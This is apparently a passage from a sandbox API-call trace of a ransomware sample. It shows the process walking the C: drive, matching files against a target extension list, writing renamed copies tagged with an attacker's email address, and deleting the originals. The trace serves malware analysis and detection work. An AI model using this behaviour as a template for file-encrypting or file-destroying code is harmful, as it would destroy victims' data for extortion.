lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0199.456] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.456] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0199.456] SetEndOfFile (hFile=0x53c) returned 1 [0199.457] CloseHandle (hObject=0x53c) returned 1 [0199.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.457] SetEndOfFile (hFile=0x370) returned 1 [0199.461] CloseHandle (hObject=0x370) returned 1 [0199.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1 [0199.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.464] lstrlenW (lpString=".doc") returned 4 [0199.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.464] lstrlenW (lpString=".docx") returned 5 [0199.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.465] lstrlenW (lpString=".pdf") returned 4 [0199.465] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString=".xls") returned 4 [0199.465] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString=".xlsx") returned 5 [0199.465] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.465] lstrlenW (lpString=".ppt") returned 4 [0199.465] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.465] lstrlenW (lpString=".zip") returned 4 [0199.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString=".rar") returned 4 [0199.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString=".bz2") returned 4 [0199.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString=".7z") returned 3 [0199.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.465] lstrlenW (lpString=".dbf") returned 4 [0199.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.465] lstrlenW (lpString=".1cd") returned 4 [0199.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87 [0199.465] lstrlenW (lpString=".jpg") returned 4 [0199.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.466] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.466] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0199.468] GetLastError () returned 0x0 [0199.468] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0199.774] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0199.775] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.776] WriteFile (in: hFile=0x53c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x126, lpOverlapped=0x0) returned 1 [0199.776] SetEndOfFile (hFile=0x53c) returned 1 [0199.776] CloseHandle (hObject=0x53c) returned 1 [0199.776] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.776] SetEndOfFile (hFile=0x370) returned 1 [0199.781] CloseHandle (hObject=0x370) returned 1 [0199.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0200.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.320] lstrlenW (lpString=".doc") returned 4 [0202.320] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".docx") returned 5 [0202.320] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.320] lstrlenW (lpString=".pdf") returned 4 [0202.320] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".xls") returned 4 [0202.320] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString=".xlsx") returned 5 [0202.321] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.321] lstrlenW (lpString=".ppt") returned 4 [0202.321] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.321] lstrlenW (lpString=".zip") returned 4 [0202.321] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString=".rar") returned 4 [0202.321] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString=".bz2") returned 4 [0202.321] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString=".7z") returned 3 [0202.321] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.321] lstrlenW (lpString=".dbf") returned 4 [0202.321] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.321] lstrlenW (lpString=".1cd") returned 4 [0202.321] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0202.321] lstrlenW (lpString=".jpg") returned 4 [0202.321] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.742] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=28261) returned 1 [0202.742] CloseHandle (hObject=0x3fc) returned 1 [0202.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220 [0203.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0203.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0204.680] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.680] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0204.681] GetLastError () returned 0x0 [0204.681] ReadFile (in: hFile=0x494, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0204.688] WriteFile (in: hFile=0x334, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0204.690] ReadFile (in: hFile=0x494, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.690] WriteFile (in: hFile=0x334, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.690] SetEndOfFile (hFile=0x334) returned 1 [0204.690] CloseHandle (hObject=0x334) returned 1 [0204.690] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.691] SetEndOfFile (hFile=0x494) returned 1 [0204.695] CloseHandle (hObject=0x494) returned 1 [0204.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.697] lstrlenW (lpString=".doc") returned 4 [0204.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".docx") returned 5 [0204.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.697] lstrlenW (lpString=".pdf") returned 4 [0204.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".xls") returned 4 [0204.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".xlsx") returned 5 [0204.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.697] lstrlenW (lpString=".ppt") returned 4 [0204.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.697] lstrlenW (lpString=".zip") returned 4 [0204.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".rar") returned 4 [0204.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".bz2") returned 4 [0204.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".7z") returned 3 [0204.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.698] lstrlenW (lpString=".dbf") returned 4 [0204.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.698] lstrlenW (lpString=".1cd") returned 4 [0204.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87 [0204.698] lstrlenW (lpString=".jpg") returned 4 [0204.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.705] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d30, Size=0x20) returned 0x459f740 [0204.705] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2e50 [0204.705] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e50, Size=0x20) returned 0x459f6f0 [0204.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.706] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.706] Wow64DisableWow64FsRedirection (in: OldValue=0x3f7ff50 | out: OldValue=0x3f7ff50*=0x1) returned 1 [0204.706] lstrlenW (lpString="kernel32.dll") returned 12 [0204.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6f0 | out: hHeap=0x710000) returned 1 [0204.706] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f740 | out: hHeap=0x710000) returned 1 Thread: id = 50 os_tid = 0xe40 [0158.657] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4500048 [0158.658] lstrlenW (lpString="C:") returned 2 [0158.658] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x72a3c8 [0158.659] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0158.659] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0158.659] lstrlenW (lpString="$GetCurrent") returned 11 [0158.659] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0158.659] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0158.659] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0158.659] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x72a448 [0158.659] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0158.660] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0158.660] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0158.660] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0158.660] lstrlenW (lpString="Logs") returned 4 [0158.660] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0158.660] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4521060 [0158.660] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0158.660] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.661] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0158.661] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb097e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6eb097e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DOWNLE~1.SAV")) returned 1 [0158.661] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[seavays@aol.com].save") returned 72 [0158.661] lstrlenW (lpString=".1cd") returned 4 [0158.661] lstrcmpiW (lpString1=".1cd", lpString2="save") returned -1 [0158.661] lstrlenW (lpString=".3ds") returned 4 [0158.661] lstrcmpiW (lpString1=".3ds", lpString2="save") returned -1 [0158.661] lstrlenW (lpString=".3fr") returned 4 [0158.661] lstrcmpiW (lpString1=".3fr", lpString2="save") returned -1 [0158.661] lstrlenW (lpString=".3g2") returned 4 [0158.661] lstrcmpiW (lpString1=".3g2", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".3gp") returned 4 [0158.662] lstrcmpiW (lpString1=".3gp", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".7z") returned 3 [0158.662] lstrcmpiW (lpString1=".7z", lpString2="ave") returned -1 [0158.662] lstrlenW (lpString=".accda") returned 6 [0158.662] lstrcmpiW (lpString1=".accda", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".accdb") returned 6 [0158.662] lstrcmpiW (lpString1=".accdb", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".accdc") returned 6 [0158.662] lstrcmpiW (lpString1=".accdc", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".accde") returned 6 [0158.662] lstrcmpiW (lpString1=".accde", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".accdt") returned 6 [0158.662] lstrcmpiW (lpString1=".accdt", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".accdw") returned 6 [0158.662] lstrcmpiW (lpString1=".accdw", lpString2="].save") returned -1 [0158.662] lstrlenW (lpString=".adb") returned 4 [0158.662] lstrcmpiW (lpString1=".adb", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".adp") returned 4 [0158.662] lstrcmpiW (lpString1=".adp", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".ai") returned 3 [0158.662] lstrcmpiW (lpString1=".ai", lpString2="ave") returned -1 [0158.662] lstrlenW (lpString=".ai3") returned 4 [0158.662] lstrcmpiW (lpString1=".ai3", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".ai4") returned 4 [0158.662] lstrcmpiW (lpString1=".ai4", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".ai5") returned 4 [0158.662] lstrcmpiW (lpString1=".ai5", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".ai6") returned 4 [0158.662] lstrcmpiW (lpString1=".ai6", lpString2="save") returned -1 [0158.662] lstrlenW (lpString=".ai7") returned 4 [0158.662] lstrcmpiW (lpString1=".ai7", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".ai8") returned 4 [0158.663] lstrcmpiW (lpString1=".ai8", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".anim") returned 5 [0158.663] lstrcmpiW (lpString1=".anim", lpString2=".save") returned -1 [0158.663] lstrlenW (lpString=".arw") returned 4 [0158.663] lstrcmpiW (lpString1=".arw", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".as") returned 3 [0158.663] lstrcmpiW (lpString1=".as", lpString2="ave") returned -1 [0158.663] lstrlenW (lpString=".asa") returned 4 [0158.663] lstrcmpiW (lpString1=".asa", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".asc") returned 4 [0158.663] lstrcmpiW (lpString1=".asc", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".ascx") returned 5 [0158.663] lstrcmpiW (lpString1=".ascx", lpString2=".save") returned -1 [0158.663] lstrlenW (lpString=".asm") returned 4 [0158.663] lstrcmpiW (lpString1=".asm", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".asmx") returned 5 [0158.663] lstrcmpiW (lpString1=".asmx", lpString2=".save") returned -1 [0158.663] lstrlenW (lpString=".asp") returned 4 [0158.663] lstrcmpiW (lpString1=".asp", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".aspx") returned 5 [0158.663] lstrcmpiW (lpString1=".aspx", lpString2=".save") returned -1 [0158.663] lstrlenW (lpString=".asr") returned 4 [0158.663] lstrcmpiW (lpString1=".asr", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".asx") returned 4 [0158.663] lstrcmpiW (lpString1=".asx", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".avi") returned 4 [0158.663] lstrcmpiW (lpString1=".avi", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".avs") returned 4 [0158.663] lstrcmpiW (lpString1=".avs", lpString2="save") returned -1 [0158.663] lstrlenW (lpString=".backup") returned 7 [0158.664] lstrcmpiW (lpString1=".backup", lpString2="m].save") returned -1 [0158.664] lstrlenW (lpString=".bak") returned 4 [0158.664] lstrcmpiW (lpString1=".bak", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".bay") returned 4 [0158.664] lstrcmpiW (lpString1=".bay", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".bd") returned 3 [0158.664] lstrcmpiW (lpString1=".bd", lpString2="ave") returned -1 [0158.664] lstrlenW (lpString=".bin") returned 4 [0158.664] lstrcmpiW (lpString1=".bin", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".bmp") returned 4 [0158.664] lstrcmpiW (lpString1=".bmp", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".bz2") returned 4 [0158.664] lstrcmpiW (lpString1=".bz2", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".c") returned 2 [0158.664] lstrcmpiW (lpString1=".c", lpString2="ve") returned -1 [0158.664] lstrlenW (lpString=".cdr") returned 4 [0158.664] lstrcmpiW (lpString1=".cdr", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".cer") returned 4 [0158.664] lstrcmpiW (lpString1=".cer", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".cf") returned 3 [0158.664] lstrcmpiW 